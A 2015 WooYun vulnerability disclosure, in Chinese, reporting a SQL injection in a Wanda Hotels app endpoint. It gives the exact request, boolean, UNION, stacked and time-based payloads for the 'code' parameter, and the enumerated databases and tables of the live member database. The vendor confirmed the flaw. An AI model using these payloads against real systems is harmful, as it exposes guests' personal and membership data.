漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0152879
漏洞标题:万达酒店(wanda_hotal)某APP/SQL注入一枚影响会员数据用户数据
相关厂商:大连万达集团股份有限公司
漏洞作者: 逆流冰河
提交时间:2015-11-08 22:42
修复时间:2015-12-24 09:38
公开时间:2015-12-24 09:38
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-11-08: 细节已通知厂商并且等待厂商处理中
2015-11-09: 厂商已经确认,细节仅向厂商公开
2015-11-19: 细节向核心白帽子及相关领域专家公开
2015-11-29: 细节向普通白帽子公开
2015-12-09: 细节向实习白帽子公开
2015-12-24: 细节向公众公开
简要描述:
我是不是有点标题党的感觉,好吧,我承认了
详细说明:
1,万恶的程序猿们,不注意安全,我去找王思聪了
注入点:
POST http://app.wandahotels.com/hotelprocess/membership/getMembershipList.action HTTP/1.1
Content-Length: 6
Content-Type: application/x-www-form-urlencoded
Host: app.wandahotels.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
code=1
2,注射点就是这个code
Parameter: code
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: code=1 AND 3632=3632
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: code=1 UNION ALL SELECT NULL, CHAR(58)+CHAR(120)+CHAR(118)+CHAR(110)+CHAR(58)+CHAR(70)+CHAR(70)+CHAR(99)+CHAR(116)+CHAR(119)+CHAR(104)+CHAR(81)+CHAR(67)+CHAR(121)+CHAR(74)+CHAR(58)+CHAR(114)+CHAR(115)+CHAR(104)+CHAR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: code=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: code=1 WAITFOR DELAY '0:0:5'--
---
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] wyhappdb
3,wyhappdb库的表挺多挺重要
Database: wyhappdb
[72 tables]
+-------------------------------+
| dbo.code_couponType |
| dbo.code_opera |
| dbo.code_purview |
| dbo.code_resource |
| dbo.complaint |
| dbo.coupon |
| dbo.department |
| dbo.group_hot |
| dbo.group_locate |
| dbo.group_story |
| dbo.hotel |
| dbo.hotelGrade |
| dbo.hotel_facility |
| dbo.hotel_facility_desc |
| dbo.hotel_facility_type |
| dbo.hotel_image |
| dbo.hotels_group |
| dbo.index_image |
| dbo.login_info |
| dbo.menus |
| dbo.menus_resources |
| dbo.position |
| dbo.resources |
| dbo.roomTypeUpgrade |
| dbo.roomType_point |
| dbo.sysdiagrams |
| dbo.user |
| dbo.wd_about |
| dbo.wd_clause |
| dbo.wd_coupon |
| dbo.wd_coupon_count |
| dbo.wd_exchange_his |
| dbo.wd_feedback |
| dbo.wd_point_rules |
| dbo.wd_version |
| dbo.wh_about |
| dbo.wh_city |
| dbo.wh_clause |
| dbo.wh_complaint |
| dbo.wh_cooking |
| dbo.wh_coupon |
| dbo.wh_cuisine |
| dbo.wh_dish |
| dbo.wh_feedback |
| dbo.wh_group |
| dbo.wh_group_hot |
| dbo.wh_group_locate |
| dbo.wh_group_story |
| dbo.wh_hotel |
| dbo.wh_hotel_facility |
| dbo.wh_hotel_facility_desc |
| dbo.wh_hotel_facility_type |
| dbo.wh_hotel_image |
| dbo.wh_hotel_restaurant_group |
| dbo.wh_hotel_specialty_group |
| dbo.wh_hotels_group |
| dbo.wh_index_image |
| dbo.wh_jobs |
| dbo.wh_login_info |
| dbo.wh_membership |
| dbo.wh_menus |
| dbo.wh_menus_resources |
| dbo.wh_news |
| dbo.wh_newtype |
| dbo.wh_periodical |
| dbo.wh_privilege |
| dbo.wh_privilege_hotel_group |
| dbo.wh_resources |
| dbo.wh_restaurant_group |
| dbo.wh_specialty |
| dbo.wh_version |
| dbo.wh_vip |
+-------------------------------+
4,user表和vip会不会有王思聪呢?
那张表是开房记录,我就不找了,怕扎我去喝咖啡
漏洞证明:
如上
修复方案:
20 rank可好?
版权声明:转载请注明来源 逆流冰河@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2015-11-09 09:36
厂商回复:
感谢逆流冰河同学的关注与贡献!乌云审洞不严,此洞与http://www.wooyun.org/bugs/wooyun-2015-重复了。已通知业务整改!
最新状态:
暂无